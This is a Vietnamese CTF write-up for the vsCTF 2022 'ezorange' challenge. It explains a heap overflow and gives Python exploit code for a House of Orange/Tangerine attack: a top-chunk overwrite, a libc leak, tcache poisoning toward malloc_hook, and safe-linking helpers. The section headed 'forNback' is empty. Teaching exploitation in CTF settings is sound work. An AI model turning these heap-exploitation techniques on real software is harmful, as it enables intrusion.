---
# System prepended metadata

title: vsCTF 2022
tags: [house of tangerine]

---

# vsCTF 2022 write-up
# I. ezorange - House Of Tangerine(Orange)
## Phân tích 
- Challenge có 2 hàm quan trọng: buy và modify
![image](https://hackmd.io/_uploads/B1ZqQlQE1e.png)

    ![image](https://hackmd.io/_uploads/rJIi7em41l.png)
:::info
- hàm buy(): chỉ cho size <=0x1000 và chỉ cho lưu 2 chunk.
- hàm modify(): hàm này cho đổi data tại idx, tuy nhiên chỉ cho ghi lần lượt 1 byte
--> Bug OOB rõ ở hàm modify khi cho phép control tất cả các bytes -> Heap overflow 
:::
- Tuy nhiên, lại không có hàm free nên nghĩ ngay đến House Of Orange 
## Khai thác 
- Về mặt kĩ thuật thì đã được đề cập ở [How2Heap walkthrough](https://hackmd.io/BsWCXE4rQN-wYTepjJbnvw?view#How2Heap-Walkthrough)
- Tạo chunk -> modify top_chunk -> tạo chunk(0x1000) -> ta có 1 old top_chunk ở unsorted bin -> sử dụng tiếp hàm modify để leak libc ra.
```py
buy(p,0,0x18)   
modify(p,0,0x18,0x51) #overwrite top_chunk
modify(p,0,(0x18+1),0x0d) #overwrite top_chunk
modify(p,0,(0x18+2),0x00) #overwrite top_chunk
buy(p,1,0x1000) # move old top_chunk into ubin
leak_libc  = b''
for i in range(6):
    sla(p,b'> ',b'2')
    sla(p,b'number: ',str(0).encode())
    sla(p,b'index: ',str(0x20+i).encode())
    ru(p,b'Current value: ')
    leak = int(ru(p,b'\n').replace(b'\n',b''),10)
    leak = bytes(f"{leak:02x}", 'utf-8')
    leak_libc = leak + leak_libc
    sla(p,b'New value: ',str(0x41).encode())
leak_libc = int(b'0x' + leak_libc,16)
print("LEAK LIBC:",hex(leak_libc))
libc_base = leak_libc - 0x1c5c00
print("LIBC BASE:",hex(libc_base))
malloc_hook = libc_base + 0x1c5b90
print("MALLOC HOOK:",hex(malloc_hook))
```
### House of Tangerine 
- Sau khi có được libc bằng House of orange + kĩ Orange sẽ hijack vtable để gọi thẳng đến system() nhưng ở libc > 2.26 đã có chức năng check vtable nên không thể dùng tiếp.
-> Đây là lí do sử dụng House of tangerine 
- Về bản chất thì Tangerine vẫn là Orange vẫn sẽ overwrite top_chunk tuy nhiên tangerine sẽ có target thì đưa top_chunk vào tcache.
### Tcache poisoning
- Sau khi đã có cách đưa chunk vào tcache
- Với lỗi OOB ở heap, chúng ta có thể overwrite được `fd_pointer` của tcache để fake chunk đến `malloc_hook`
#### safe linking encrypt
- [safe linking](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)
- `encrypt` : 
    ```py
    def obfuscate(target, addr_heap):
        return target^(addr_heap>>12)
    ```
- `decrypt` : 
    ```py
    def deobfuscate(val):
        mask = 0xfff << 52
        while mask:
            v = val & mask
            val ^= (v >> 12)
            mask >>= 12
        return val
    ```
-> Đến đây rồi thì mọi thứ đã xong.
# II. forNback 
